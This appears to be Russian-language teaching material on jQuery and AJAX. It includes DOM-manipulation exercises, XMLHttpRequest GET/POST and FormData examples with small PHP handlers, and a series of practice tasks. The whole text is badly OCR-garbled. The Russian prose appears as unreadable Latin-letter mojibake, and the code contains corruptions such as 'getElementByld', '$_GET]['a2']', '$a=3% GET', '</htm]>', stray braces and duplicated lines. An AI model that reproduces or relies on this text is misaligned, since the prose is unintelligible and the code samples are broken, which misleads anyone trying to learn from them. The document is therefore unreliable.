2. Tlocne HaxkaTHs Ha KHOMKY ¢ id=but2 B ab3aribl par3, pard, parS u par6 T0DKHBI JOOABIATHCS HEAOCTAIOIIKE CIIOBA.
CroBa Ipy BCTaBKE JJOJDKHBI OBITH BBIACIECHBI JKUPHBIM HIpH(TOM.

3. Ilocne Haxkatus Ha KHONKY ¢ id=but3 snements! ¢ id=hrefl u id=par7 nomkHEI cTaTh OPOPMIICHHBIMH COOTBETCTBEHHO
CBOEMY COJICPKHMOMY.

4. Tlocne HaxkaTus Ha KHOTKY ¢ id=but4 3JIeMEeHTBI TOJDKHBI CTaTh O()OPMIEHHBIMUA COOTBETCTBEHHO CBOEMY COJICPIKAHHUIO.
(HeoOxoauMeble cTHIN yiKe 3aJaHbl, Hy>KHO TOJILKO 00EpHYTH ab3allbl B TITH C COOTBETCTBYIOMMH id - stylel, style2,
style3, style4.)

Crpanuua:

<html>

<head>

<style type="text/css">
#code

{
background-color:#fffDBD;
margin: 10px;

padding:5px;

h

#parl

{

visibility:hidden;

§

#stylel

{

color:blue;
font-family:"Times New Roman";

b
#style2

{
font-weight:bold;

font-family: Verdana;
H
#style3

{

color:red;
font-size:20px;
§

#styled

{

color:green;



font-family:Arial;

font-size:25px;

H

</style>

<script type="text/javascript" src='
<script type="text/javascript">
$(document).ready(function(){

'jquery/jquery-1.3.2.min.js"></script>

//TInmmTe Ko 31€eCh

1

</script>

</head>

<body>

<p><b>1. [locne Haxkatus Ha KHOMNKY ¢ id=butl comepkumoe HeBUAMMOTO abO3ama ¢ id=parl MOKHO OBITH CUHTAHO H
BCTaBJICHO B ab3ail ¢ id=par2.</b></p>

<div id="code">

<p id="par1">Kmnax 3akonan B morpede noma Ne34 Ha ymmme burrep Crpur B Jlormone.</p>

<p id="par2">BcraBbTe B MEH: COJEPKUMOE MEPBOro ab3ama.</p>

<input id="but1" type="button" value="CxkonupoBats comep>kumoe ad3ama parl B par2" />

</div>

<p><b>2. [locie HaxkaTHsI Ha KHOMIKY ¢ id=but2 B ab3abl par3, par4, parS u par6 TODKHBI JOOABIIATHCS HEJOCTAOIIUE CIOBA.
CroBa mpy BCTaBKe JIOJDKHBI OBITh BBIACICHBI )KUPHBIM MIpH(TOM.</b></p>

<div id="code">

<p id="par3"> Jlns pa3MeTKn BeO-CTPaHHUI] UCIIOJIB3YETCs - </p>

<p id="par4"> - ucnons3zyercs s opopmaenuss HTML crpanun.</p>

<p id="par5"> - mpegHa3HAYCH VIS HAIMCAHMS KIIMEHTCKUX CKPHUIITOB BHITOJHSIIONIMXCS Opay3epoM.</p>

<p id="par6"> - JavaScript Ond1a1oTeKa 3HAYUTEIHHO YIPOIIAIOIIAs HAMCAaHUE KOJia.</p>

<input id="but2" type="button" value="/l06aBuTh B a03a1bl BbIllIe HEJOCTAIOIINE CiIoBa" />

</div>

<p><b>3. Ilocne Haxxatust Ha KHOMNKY ¢ id=but3 amemenTs! ¢ id=hrefl, id=par7 u type=text HOJDKHBI cTaTh O()OPMICHHBIMH
COOTBETCTBEHHO CBOEMY COACPKAMOMY.</b></p>

<div id="code">

<a id="href1" href="http://www.kotofey.ru/">Ilepemo MHOI 0TOOpa’keHO 3HaUEHHE Moero arpudyta href.</a>

<p id="par7" class="afterbuttonich"> Ilocne kHOomkm ¢ id=but3 pacmonoxeHO 3HaUYeHHWE MOETro arpuOyTa class BbIAEIEHHOE
XKHUPHBIM IIPUGTOM.</p>

<input type="text" value="Tlocie qaHHOTO 31IEMEHTa PacHOIOKeHO ciaoBo 'key"' />

<br /><br />

<input id="but3" type="button" value="Odopmurp3nemeHTs" />

</div>

<p><b>4. [locie Haxarusi Ha KHONKY c id=but4 sjmeMeHTHI JOJDKHBI CTaTh O(GOPMIICHHBIMH COOTBETCTBEHHO CBOEMY
COEPKUMOMY.

(HeobxommMble CTHIIN yKe 3aaHbI HY’)KHO TOJIBKO OOEpHYTH a03aIlel B T3TH C cooTBeTCTBYRommMH id: stylel, style2, style3,
style4.) </b></p>

<div id="code">

<p id="par8" >TekcT 3TOro 37MeMeHTa 0TOOpakeH KUpHBIM mpHudTOoM Verdana.</p>

<p id="par9" >TekcT 3TOro >1IeMeHTa OTOOPaKeH MWPHU(TOM KpacHOTo nBeTa pazmepoM 20 muKcenei.</p>

<p id="par10" >TekcT 3TOr0 11eMEeHTa 0TOOpakeH cuHUM Hiprdrom Times New Roman.</p>

<p id="par11" >TekcT 3TOTO 3IIEMEHTa OTOOPaXKEH 3eJIeHBIM MpUPTOM Arial pazmepom 25 nHuKcener.</p>

<input id="but4" type="button" value="IIpumennts oopmienune k adbzamam" />

</div>

</body>

</htm]>



3.4 IIpakTnueckue 3aganus no reme « Texnosoruss AJAX»

MNPAKTUHYECKOE 3AHSATHE Nel IO TEXHOJIOT'YU AJAX
[IpomomxuTensHOCTH — 4 yaca
Lens — ocBoenue texnonorun AJAX Ha npumMepax
Texuonormst AJAX mo3BoIisieT HaM 0OMEHNUBAThCA JAaHHBIMU Mely Opay3epoM U cepBepoM B (POHOBOM peXUMe, He OOHOBIIA
ctpanuily. ['oBops mo-ymMHOMY, celf 0OOMEH SIBISIeTCS aCHHXPOHHBIM.

B ocnoge texnomorun AJAX nexut oo0bekT XMLHttpRequest.

Oro obbexT JavaScript

3T0 00BEKT, KOTOPBIN yIIPaBIIsSET BCEM BalllUM B3aHMOICHCTBHEM C CEPBEPOM — ITO
texnostorus JavaScript B 00bexkTe XMLHttpRequest, KOTOpbIit 0011aeTcs ¢ cepsepoM. D10
He 0OBIYHBIN X0 pabOTHI MPHUI0KEHHS, © UMEHHO 3/1eCh 3aKJII0YAETCs TIOYTH BCS Marus
Ajax.

Hrak, HauHeM nocjeg0BaTeIbHO U3y4aTh MeToAbl 00bekTa XMLHttpRequest

Pemum npocreiimyo 3aaauy.
[TomectrM Ha html- cTpanunyrunepccbliky u mycroit div — 6s10K.

Hanwmewm kox javascript, kotopsrit mpu kiike [IKM mo runmepceceblike 3amycTuT php — CKpUNT Ha cepBepe, W MOTyIeHHBIH
OTBeT OT cepBepa 3anumieT B div — 6J10K.

primer1.html

<script type=""text/javascript'>
/1 310 jS-pyHKIMA KOoTOpas OyaeT 3aNyCKaTh ajax... B KPYIJbIX ckoOkax Oyaer urlphp-ckpunra
function startAjax(url){

var request; //co3raeMnepeMeHHYI0
request = new XMLHttpRequest(); //co3naemoobexT XMLHttpRequest()

request.open ('"GET', url, true); /*oTKpbIBaeM coelHEHHE ¢ cepBepoM, MeToa — get, url — agpec
php-ckpunTa Ha cepBepe, true — yka3bIBaeT, YTO COeTHHEHHE ACHHXPOHHOe */

request.send (''); /oTnpaBJsieM mMycToi 3ampoc

/* onreadystatechange - 00pad0oTYHK COOBITHA... EMy HA/I0 NIPUCBOUTH (PYHKIHIO, B KOTOPOii Oy1eM
NMPONKCHIBATH HAIIIM JeHCTBHA... HAPUMep KyAa OyaeM MOMeIIaTh OTBeT OT cepBepa*™/

request.onreadystatechange = function(){
/I oTBeTOTCEpBepaBbIBeAeMBOIOKE id= printResult
document.getElementByld("printResult").innerHTML = "<b>'"+request.responseText+"</b>";
}
}

</script>

<a href="#" onclick=""startAjax('script.php');"'>3anycturs php ckpunr</a>
<br/>

<divid="printResult">

Iloce HakaTUSA HA CCBLIIKY, TYT OyAeT coodieHue ¢ cepBepa!l

</div>

script.php
<?echo "3Jt0 TeKcTOBOE cCOOOMIeHUE mpuIIo ¢ cepBepal JJAAA!"; 7>

Mo:keT BO3HHKHYTh CUTyalus, KOTa MPOU301IIa Kakas TO OIMOKa, UM, HAIIPUMEpP NIPOrpaMMa He MOXKET HAalTH CKPHIIT-
00paboTunk. MBI MOXeM OTCIEIUTh Kak 00padaTsiBaeTcst 3anpoc. JlJIst 3T0ro HeMHOT0 YC/I0KHUM (PYHKIHI0-00pPadOTYMK
3ampoca.



Bynewm orciexxuBath napamerprequest.status. Eciu request.status==200, To Bc€ xopo1io, CKkpunt php HaiJeH 1 NoIyuYeH
OTBET.

A ecin request.status==404 , To mpou3onuIa OmuoKa — 3aNpaInBaeMbIil (aiiia He HalICH.
primer2.html

<script type="text/javascript">
function startAjax(url){
var request;
request = new XMLHttpRequest();

request.onreadystatechange = function(){
if(request.status==200) {
document.getElementByld("printResult").innerHTML = "<b>"+request.responseText+"</b>";
}telse if(request.status==404){
alert("OmmOka: 3ampammBaeMbIiCKpunTHeHaIeH!");
H
h
request.open ('GET', url, true);
request.send (");

}

</script>

<a href="#" onclick="startAjax('script.php');">3amycrurs php ckpunr</a>
<br/>

<div id="printResult">

[Tocne HaXkaTHs HA CCBUIKY, TyT OyAeT cooOmmIeHue ¢ cepBepal

</div>

script.php
<?echo "3Ot0 TeKcTOBOE cooOIIeHUE mpuIuIo ¢ cepBepa! JJAAA!"; 7>

A Tenepb nmepegaguM cepBepy Kakue HUOyAb mapaMeTphbl!

Bocnonwvzyemca ona amozo cnauana memooom Get.

Jliist Toro uto0s! nenose3zoBath THN nepenaun GET , HyxHO B MeToze open() yka3aTh Takylo HHPOPMAIHIO:
request.open(""GET" ,url+'"?al=1&a2=2"true);

3nech

url — ampec php-ckpurita Ha cepBepe

al=1 nepBrlii NepenaBacMblil MapaMeTp, a2=2 BTOPOH MepeJaBacMblii mapaMeTp.

php-ckpunt 06paboTYMK MyCTh MPUMET 3THU /1B NapaMeTpa, HaiIeT CyMMY YHCell U BEPHET HaM.

primer3.html
<script type="text/javascript">
function startAjax(url){
var request;
request = new XMLHttpRequest();
request.onreadystatechange = function(){
if(request.status==200) {
document.getElementByld("printResult").innerHTML = "<b>"+request.responseText+"</b>";
else if(request.status==404){
alert("OmmnOKa: 3amparmBaeMbIiCKpuNTHeHaIeH!");
}
H

request.open("GET",url+"?al=1&a2=2",true);
request.send (");

}

</script>

<a href="#" onclick="startAjax('ajax.php');">3amyctuts php ckpumr</a>
<br/>

<div id="printResult">

[Mocire HaXkaTHs Ha CCBUIKY, TYT OyzeT coolIeHue ¢ cepsepal



</div>

ajax.php

<Iphp

echo "Meron nepenaun nanubix: ".$ SERVER['REQUEST METHOD'];
/*T1ony4yaeM apameTpbr*/

$paraml =$_GET['al'];

$param2 = $_GET]['a2'];

/*OrchutaeM OTBET KIMEHTY */

$summa=$paraml + $param?2;

echo("<br>Bsmpucnamu $paraml u $param2 <br>");

echo("cymma mapameTpoB paBHa = $summa");

7>

/*YcTanaBnuBaeM coemuHeHue*/
request.open("GET",url+"?al=1&a2=2" true);
/*YkasnBaeM oyukImo*/
request.onreadystatechange = function(){...}
/*OrnpaBnsieM Banpoc*/

request.send (");

Teneps eocnonv3yemca memooom POST ona nepedauu oannwix cepeepy.

Jlnst Toro uroOsl ¢ momoribio AJAX TexHonoruu otnpasute POST 3ampoc, Hy)KHO HCIOJIB30BaTh TPH METOIa 00BEKTa request:
1)open — OTKpBIBaET COSMHEHHE C CEPBEPOM C yKa3aHHEM METO/A Tepeayun JaHHbIX.

2)setRequestHeader — ycranaBnmBaet 3aronoBok 3ampoca(mersier MIME-Ttum 3ampoca).

3)send — oTnpasisieT 3ampoc.

B Hamewm ciyuae:

request.open("POST",url, true);

request.setRequestHeader("Content-type","application/x-www-form-urlencoded");

request.send("al=1&a2=2"); //al, a2 — mapameTpsbl nepeaBaeMblie CEpBEPY

Becbkoanpumepa:
primer3.html
<script type="text/javascript">
function startAjax(url){
var request;
request = new XMLHttpRequest();
request.onreadystatechange = function(){
if(request.status==200){
document.getElementByld("printResult").innerHTML = "<b>"+request.responseText+"</b>";
telse if(request.status==404){
alert("OmmOKa: 3ampammBaeMbIicCKpunTHeHAIEH!");

}

request.open("POST",url, true);

request.setRequestHeader(" Content-type","application/x-www-form-urlencoded");
request.send("al=1&a2=2");

}
</script>
<a href="#" onclick="startAjax('ajax1.php");">3amyctuts php ckpunr</a>
<br/>
<div id="printResult">
[Mocne HaxaTHs HA CCBUIKY, TYT OyaeT cooOlleHue ¢ cepeepal
</div>

ajax1.php

<7php

echo "Meroanepenaungansbix: ".§ SERVER['/REQUEST METHOD'];
/*T1ony4yaeM apameTpbr*/

$paraml = $_POST['al'];

$param2 =$_POST['a2'];



/*OTchbLIaeM O0TBET KJIHEeHTYy*/

$summa=$param1 + $param2;
echo("'<br>Bsimpucnanu $§paraml u $param2 <br>");
echo("cymma mapameTpoB paBHa = $summa');

>

Hmozo, umoodwvl nepedamsv napamempol memooom POST, oenaem credyrwuee:
/*YcranaBnuBaeM coemuHeHue* /

request.open("POST",url, true);
/*MensieMm MIME-Tun*/
nn

request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
/*VYxasmBaeM obyuKuMo*/

request.onreadystatechange = function(){...}
/*Ornpaensiemsanpoc* /

xmlHttp.send ('paraml=1Mm2=2") ;
request.send("al=1&a2=2"); //al, a2 — mapameTpsl epeaBaeMble CEpBEPY

Koauposka urlencoded

OcHOBHoI1 cnoco6 KoAMpOBKY 3anpocoB — 3To urlencoded, To ecTb — CTaHAapTHoe koauposaHue URL.

B JavaScript ectb cpyHKkuns encodeURIComponent Ang nonyyeHns Tako KOOUPOBKU «BPYYHYHO»:

GET-3anpoc

dopmumpyst XMLHttpRequest, Mbl fomkHbI hOpMUMPOBaTL 3anpoc «pykaMuy, koampys nons dpyHkumen encodeURIComponent.
IMpumep 1

kub.html
<script type="text/javascript">
//canuTaTh YUCIIO U3 TEKCTOTOBO IOJIs, IEPEaTh HA CEPBEP, OTBET cepBepa — KyO uuca.
function kub() {
var a = document.getElementByld("a").value; / CunTbiBaeM3HaveHue a

var xmlhttp = new XMLHttpRequest(); // Cozgaémo0bext XMLHTTP

/l OTKpBbIBaEM ACHHXPOHHOE COeIMHEHHE
xmlhttp.open("GET", "test2.php?"+ 'a=" + encodeURIComponent(a) , true);

xmlhttp.send(null); // OTnpaBasiem GET-3anpoc
xmlhttp.onreadystatechange = function() { / ’Kném oTBeTa ot cepBepa

document.getElementByld("kubb").innerHTML = xmlhttp.responseText; // Brizoanm otser ceprepa

h
b

</script>

<div>

<input type="text" name="a" id="a" />
<br />

<input type="button" value="ky6" onclick="kub()" />
<p>KyOpaBeH: <span id="kubb"></span></p>
</div>



test2.php

<?php
$a=3% GET["a"];

echo $a*$a*$a;
7>

IIpumep 2
summa.html

<script type="text/javascript">
//cauTaTh YUCIIO U3 JABYX TEKCTOBBIX IMOJIEH, MepeaaTh Ha CEpBEp, OTBET cepBepa — CyMMa YK Ced.
function summa() {

var a = document.getElementByld("a").value; // CuntbhiBaeM3HaueHue a

var b = document.getElementByld("b").value; // CuntbiBaem3nauenue b

var xmlhttp = new XMLHttpRequest(); // Coznaémoosext XMLHTTP

var params = 'a=' + encodeURIComponent(a) +'&b='+ encodeURIComponent(b);
xmlhttp.open("GET", "test3.php?"+ params , true);// OTKpbIBaeM aCHHXPOHHOE COCTMHEHHE

xmlhttp.send(null); // Otnpasisiem GET-3amnpoc
xmlhttp.onreadystatechange = function() { / ’Kném orseta oT cepsepa

document.getElementByld("summa").innerHTML = xmlhttp.responseText; // Beisoaum oteer ceprepa

}
}
</script>
<div>
<input type="text" name="a" id="a" />
<br />
<input type="text" name="b" id="b" />
<br />
<input type="button" value="Cymma" onclick="summa()" />
<p>CymmapaBHa: <span id="summa'"></span></p>
</div>

test3.php

<?php
$a=3 GET["a"];
Sb=S$_GET["b"];
echo $a + $b;

r>

POST c urlencoded

B metrone POST nmapamerpsl nepenatorcs He B URL, a B Tene 3anpoca. OHO yKa3bIBaeTcs B
BBI3OBEC send (body) .

B crannmaptasix HTTP-dhopmax mst metona POST mocTynmHbI Tpy KOTMPOBKH, 33/1aBacMbIe Yepe3
anI/I6yT enctype!

application/x-www-form-urlencoded
multipart/form-data

text-plain



B 3aBucumocty ot napametpa €N C L Y€ Gpaysep KoaupyeT JaHHbIE COOTBETCTBYIOIMM CIIOCOOOM TIEPE OTIIPABKOMN Ha
cepBep.

IIpumep 1
summal.html

<script type="text/javascript">
//cauTaTh YUCIIO U3 JIBYX TEKCTOBBIX IOJIEH, EpEIaTh Ha CEpBEpP, OTBET CepBEpa — CyMMa YK CEl.
function summay() {

var a = document.getElementByld("a").value; // CuntsiBaem3nauenue a

var b = document.getElementByld("b").value; // CuntsiBaem3znauenue b

var xmlhttp = new XMLHttpRequest(); // Co3znaémodosext XMLHTTP
xmlhttp.open('POST', 'test.php', true); / OTKpbIBaéM aCHHXPOHHOE COEIMHEHUE
// OTrnpaBiseM KOIUPOBKY
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// Ornpasnsem POST-3ampoc
xmlhttp.send("a=" + encodeURIComponent(a) + "&b=" + encodeURIComponent(b));
xmlhttp.onreadystatechange = function() { // ’Kném otBera ot cepsepa

document.getElementByld("summa").innerHTML = xmlhttp.responseText; // Busomum otser cepsepa

}
b

</script>

<div>

<input type="text" name="a" id="a" />

<br />

<input type="text" name="b" 1d="b" />

<br />

<input type="button" value="Cymma" onclick="summa()" />
<p>CymmMmapaBHa: <span id="summa'"></span></p>

</div>

test.php

<?php
$a=$ POST["a"];
Sb=S$_POST["b"];
echo $a + $b;

r>

O6wexr FormData
CoBpemennbie Opay3epsl, uckiodast IE9- (Bripouem, ecTh monuuint), MOAASPKUBAIOT BCTPOCHHBINH 00bekT FormData, KoTopsrii
KoaupyeT (hOPMBI Jis1 OTIPABKU Ha CEpBEP.

Wutepdetic:

Konctpykrop new FormData ([form]) BbI3bIBaeTCS MO0 O3 apryMeHTOB, 00 ¢ DOM-31eMeHTOM (OPMBI.

Meton formData.append (name, value) mobaBiseT naHHBIEC K Gopme.

OOBEKT formbData MOXKHO Cpa3y OTChUIATh, UHTETPALUs FormData € XMLHttpRequest BCTPOEHA B Opay3ep.
KoaunposkanpustomOyaeT multipart/form-data.

IIpumep
forma.html

<form name="person" action="form_scriptl.php" >



—n

<input name="name" value="Bukrop">
<input name="surname" value="1{oii">
<input type="submit" value="OtnpaButs" onclick
</form>
<p>OtBetcepBepa: <span id="otvet"></span></p>
<script>
function call(form) {
/I co31aTb00BEKTAIAPOPMBI
var formData = new FormData(document.forms.person);

—n

return call(this.form);" />

/l oToCaATH

var xhr;

xhr = new XMLHttpRequest();

xhr.open("POST", form.action); /0TKpbIBaeM coeTMHeHUE
//o0pabaTbIBaeT 0TBET cepBepa
xhr.onload = function() {
document.getElementByld("otvet").innerHTML = xhr.responseText;

xhr.send(formData); //oTnpaBiasiem3anpoc
return false;

§

</script>

form_scriptl.php

<?

echo "Meroanepenaungansbix: ".§ SERVER['/REQUEST METHOD'];

echo "<br/>ITonyuwnu mo cpenctBam AJAX TEXHOIOTUH CIEAYIOINE TaHHbBIC:";
echo "<pre>";

print r($_ REQUEST);

echo "</pre>";

echo "JlaHHBIE TTOTy4eHBI'";

7>

HUcnouan3oBanue texnosioruu AJAX misa cozaanusa Web calitoB

IMPAKTUYECKOE 3AHSATHE Ne2 110 TEXHOJIOTUHA AJAX

3aganmne 1

PeanuzoBath tml-cTpanuna, cogeprkainas asa div-00ka. [Ipu 3arpy3ke cTpaHuUIlb B IepBOM U3 div-0JI0KOB JOKEH
0TOOpaXKaThCsI TEKCT —OTIIPABUTH 3aIPOC», a BO BTOpoM div-0J10Ke — «371eCh OyAET OTBET CepBEpa»

Hamnmcats javascript — GyHKIHIO, KOTOpast IPH KIIMKE MBIIIKOH 1Mo repBoMy div-0I0Ky, OTIIPaBIsET ajax-3alpoc Ha cepBep U
BEIBOJHT BO BTOpoM div-010Ke OTBET IMOTyYeHHEIH OT cepBepa B BUAE TEKCTA.

3ananue 2

PeanusoBaTh cienyroommii clieHapHii:

ITycts umeercst html-cTpanuiia, copepikainas TEKCTOBOE TI0JI€ U KHOIIKY

Hamnwmcats javascript — ¢GyHKINIO, KOTOpasi MPH KITUKE MBIIIKOH M0 KHOIIKE, OTIIPABIISCT ajaXx-3alipoc Ha CEPBEP U BHIBOIUT B
TEKCTOBOM I10JI€ OTBET IOIY4YEHHBIN OT CEpBepa B BUE TEKCTA.

3ananue 3

PeannzoBaTs cnenyronmii ClieHapHit:

[Tycts mmeetcst html-cTpannia, comeprkaiias TUIEPCChUIKY U Ba div-0ioka

Hanucars javascript — pyHKIMIO, KOTOpasi MPH KIMKE MBIIIKOH MO CCBUIKE, OTHPABIISIET ajax-3alpoc Ha CEpBEp M BBIBOJNT B
o0oux div-010Kax OTBETHI OT cepBepa B BUJE TEKCTa. DTO JIOHKHO OBITH JJBa Pa3HBIX COOOIIEHHMSI.

3ananmne 4

PeanuzoBath crnenyoomuil crieHapuii:

[Tycts mmeetcst html-cTpannna, comeprkamas 1Ba TEKCTOBBIX MOJIS H KHOTIKY

Hamnmcats javascript — GyHKIHIO, KOTOpasi PH KITMKE MBIIIKOM IO KHOTIKE, OTIIPABIISACT ajaX-3allpoc Ha CEPBEp U BHIBOJUT B
TEKCTOBBIX TIOJISIX OTBETHI IIOTyYEeHHBIE OT CEpBepa B BUJE TEKCTA. ITO JOJDKHO OBITH JBa Pa3HBIX OTBETA.

3apanme 5

PeanuzoBaTh cieayommii ciieHapuii:

[Tyctb umeercs html-crpanuna, conepkaiiasi ©300paxeHue

Hamnmcats javascript — GyHKIHIO, KOTOpast IPH KIIMKE MBIIIKOH 10 W300pa)KeHHIO, OTIIPABIIACT ajaXx-3alpoc Ha cepBep M BEIBOJUT
HIDKE N300pakKeHHsI OTBET, ITOMYYCHHBIH OT CEpBEpa B BUJE TEKCTA.



3apanmne 6

PeanuzoBaTh cieayomumii crieHapuii:

[Tyctb umeetcst html-crpanuna, conepskaliasi TEKCTOBOE M0JIE U KHOIIKY

Hamnmcats javascript — GyHKIHIO, KOTOpast IPH KIIMKE MBIIIKOH 10 KHOIIKE, OTIPABIAET ajax-3ampoc Ha cepBep MerogoMm GET.
[Ipu sTOM mepenaroTcs 4 MPON3BOIBHBIX Yrcia. php — 00paboTUNK Ha cepBepe BRIYUCIAET CyMMY 3THX uncen. OTBeT
TIOJTYYEHHBIH OT cepBepa BHIBOJMTCS B TEKCTOBOE TIOJIE.

3apanne 7

PeanuzoBaTh creayromuil clieHapuii:

[Tyctb umeetcst html-crpanuna, conepikaiiasi TEKCTOBOE MOJIE U KHOIIKY

Hamnucars javascript — pyHKIHMIO, KOTOpasi MPU KJIMKE MBILIKOH 110 KHOIIKE, OTIPaBIIsieT ajax-3arpoc Ha cepBep metogom POST.
[Tpu sTOoM mepenaroTcs 3 MPON3BOIBHBIX Yrca. php — 00paboTUYrK Ha cepBepe BRIUHUCIACT MPOU3BEACHNE STHX uncen. OTBET
MOJTY4EHHBIH OT cepBepa BHIBOAUTCS B TEKCTOBOE TIOJIE.

3apanmne 8

PeanuzoBaTh creayronuil ClieHapuii:

[Tyctb umeercs html-crpanuna, coneprkainasi 1Ba TEKCTOBBIX ITOJISI U KHOIIKY

B onHO 13 1oseit mosp30BaTeNnb BBOJAUT IPOU3BOIBHOE YUCIIO.

Hanucars javascript — pyHKIHIO, KOTOpasi IPU KJIMKE MBILIKOH 110 KHOIIKE, OTIPaBIIsieT ajax-3arpoc Ha cepBep metonom GET.
ITpu aTOM IepenaeTcs YMCio, BBEACHHOE ITOJIB30BATEIEM B TEKCTOBOE T10JIe. php — 00paboTUYHK Ha cepBepe BHIYUCIIACT KBaIpar
sToro yucna. OTBET IOIyYeHHBII OT cepBepa BHIBOAUTCS BO BTOPOE TEKCTOBOE IIOJIE.

3apanne 9

PeanuzoBaTh creayromuil clieHapuii:

[TycTh umeetcs html-crpanuia, cogeprkaiiasi Tpu TEKCTOBBIX MOJS  KHOIIKY

B TekcToBbIe 10JIs 10J1b30BaTE b BBOJIUT IIPOU3BOJIbHBIC YUCIIA.

Hamnmcats javascript — GyHKINIO, KOTOpasi TIPH KITMKE MBIIIKOM M0 KHOTIKE, OTIIPABIISIET ajax-3arpoc Ha cepBep metogoM POST.
ITpu 3TOM NepenaroTcs ncia, BBEICHHBIE TT0JIb30BATENEM B TEKCTOBBIC ITOJISI. php — 00paboT4MK Ha cepBepe BBITHUCIISET CyMMY
3THX uncesn. OTBET, MOJIYYEHHBIH OT cepBepa BHIBOAMUTCS B JIOKYMEHT HIKE.

3aganmne 10

PeanuzoBaTh cieayommii crieHapHii:

[Tyctb umeercs html-crpanuna, coneprkainas Ba KHONKY C HAKMCHIO «y3HATh TOYHOE BPEMSD)

Hamnmcats javascript — GyHKINIO, KOTOpasi TIPH KITMKE MBIIIKOM M0 KHOTIKE, OTIIPABIISIET ajax-3ampoc Ha cepBep metogoM POST.
Pe3ynbraTom 3ampoca I0IKHO OBITh BpeMs Ha cepBepe. Pe3ynbTar BEIBOAUTCS B JOKYMEHT HIKE KHOTIKH.

IMoackaska: Bpems B php BeBoanT dyHkus: echo date('H:i:s');

3ananue 11

PeanuzoBath creayromuil clieHapuii:

[Tyctb umeetcs html-crpanuna, coneprkainas 1Ba KHOMKY € HA/AMHCHIO «3aIlyCTUTh 4achl»)

Hamnucars javascript — pyHKIHMIO, KOTOpasi MPU KIIMKE MBILIKOH 110 KHOIIKE, OTIPaBIIsIeT ajax-3arpoc Ha cepBep metogom POST.
PesynpraTom 3ampoca 10IKHO OBITH BpeMs Ha cepBepe. Pe3ynbTar BRIBOAUTCS B TOKYMEHT HID)KE KHOTIKH C HHTEPBAIOM |
cexyHaa. [lomydaroTcs ajax-4acsl.

NUcnoan3oBanue texnosioruu AJAX miasa cozpanusa Web calitoB

INMPAKTHYECKOE 3AHATHE Ne3 ITIO TEXHOJIOT'MH AJAX

3ananus

1) co3mate html-cTpanuity, cogepkamiyro GopMy € 4eTBIPbMS TEKCTOBBIMU MOISIMU(MMS, (aMHIIH, aapec, email) u KHOKOH
«oTrpaBuTh». Hanmucares QyHKIMIO javascript, OCymecTBISIONIYIO CIIEAYIONINI CIIEHAPHIA :TIPH KIIMKE IO KHOTIKE
«OTIIPaBUTHb»javascript-QyHKIHS BHIIONHSET CIeIyIONIee:

a) MPOM3BOUT NPOBEPKY BCex Moseil popMbl Ha HaIMYMe TaM KaKUX JIMOO JaHHBIX

0)Ipy HaJIMYKK JaHHBIX BO BCEX IMOJSIX (popMbl - oTrpaBisier naHHbie Ha cepBep AJAX-om, ucnonesyst meron GET.

C cepBepa J0IKHO IPUNTH COOOIIIEHUE, CASAYIONIETO BUAA:

Merton otnpaBku ganubix: GET

BrI oTripaBmii cnemyromue TaHHbIC:
damunus: ViBanos

Wwms: UBan

Anpec: . Mocksa yi1. Jleaunna 20

Email: ivan@mail.ru




2)1) co3nath html-cTpanuity, conepkainyto GopMy ¢ TpeMs: TEKCTOBBIMH MOJISIMU(MMS, email, cooOiieHne) 1 KHOITKOH
«oTnpaBuThy». Hamucatsh QYHKIMIO javascript, OCYIIECTBISIONIYIO CIEIYIONINI CIEHAPUIT: P KIMKE 110 KHOIIKE «OTIPABHUTH
javascript-yHKIIHS BBITOJIHACT CICAYIONICE:

a) MPOM3BOJIUT IPOBEPKY BCeX MOJeH (OpMBI Ha HATMYHNE TaM KaKUX MO0 TaHHBIX

0)IIpy HAIMYHUN TaHHBIX BO BCEX MOJISIX (DOPMBI - OTTIPABIISIET JaHHEBIE HA cepBep AJAX-om, ncnons3ys merox POST.

C cepBepa JOIDKHO MPUITH COOOIIEHHE, CIESYIONIEro BUIA:

Merton otmpaBku ganHbix: POST
Bpol oTripaBuim cienyroniie qaHHbIe:
Wwms: UBanos MBan

Email: ivan@mail.ru

Texct coobmienns: S npurren k Tedbe ¢ mpuBeToM!

3)1) co3mats html-cTpanuny, cogepxayio Gopmy

Damrimia: eHo Huaz: | kynomo

Bam rmoma: Mrsscroit ® ReHcraait

Ob6pazopanie || HeaakoHUSHHOE BeICLIEE ¥
Hobom :

Pribanka

Cnopt

KomnelTepsl

Het

Omnpaeute | | Copoc |

Hanucars QyHKIuIO javascript, OCyIIeCTBISIONIYIO CIEAYIOIINIA CIIEHAPHIA:IPU KITUKE M0 KHOMKE «OTIPABUTH» javascript-
(YHKUHS BBIOJHSET ClIEyoLIee:

a) MPOM3BOJIUT IPOBEPKY BCeX MOJeH (OpMBI Ha HATMYHME TaM KaKUX MO0 TaHHBIX

0)Ipy HAIMYHUY TaHHBIX BO BCEX MOJISIX (DOPMEI - OTTIpaBisieT JaHHbIe Ha cepBep AJAX-om, metogoMPOSTc ucnoap3oBaHueM
FormData.

Cxkpunt 00pabOTUYHK Ha cepBepe NPUHUMAET TAHHBIC W OTIPAaBJsIeT MICEMO Ha anpecadmin@mail.ru. ComepkaHue MUChMa:
|YBa)KaeMLII71 aamuH! TTonmb3oBaTenp «damuims, UMs» OTHPABHI BaM CBOU JIaHHBIC KYHCIIO.MECSIL. ro,u»l

C cepBepa J0IKHO IPUNTH COOOIIIEHUE, CASAYIONIETO BUAA:

JlanHbI€ MoJTy4eHb!!
Ha anmpec admin@mail.ru oTmpaBiIeHO MUCHMO OT «(aMILTHS UMD

4)1) co3nmats html-cTpanmity, cogepxantyto ¢opMmy Kak B 3amaHum Ne 3.

Hanmcats GyHKINIO javascript, OCyIIECTBISIONIYIO CIEAYIONINHA CIICHAPUNA:TIPH KIIMKE IT0 KHOTIKE «OTHPAaBUTH» javascript-
(YHKIMS BBIIOJIHSIET CIIETyIOLIee:

a) MPOM3BOIUT MPOBEPKY Bcex Moseil popMbl Ha HaMMYMe TaM KaKUX JINOO JaHHBIX

0)IIpy HaJIMYMK JaHHBIX BO BCEX IOJISIX (opMbl - oTrpasisier nanHble Ha cepBep AJAX-oM, metonom POSTe ncrosis3oBanuem
FormData .

Ckpunt 00pabOTUUK Ha cepBepe NMPUHUMAET JaHHbIE U 3aIMCHIBACT UX B 033y JaHHBIX.

[TpuMepHBIH BT TAOIHLIBL:
id surname name sex education hobby

C cepBepa J0DKHO MPUIATH COOOIICHHE, CIISAYIOIETO BUIA:

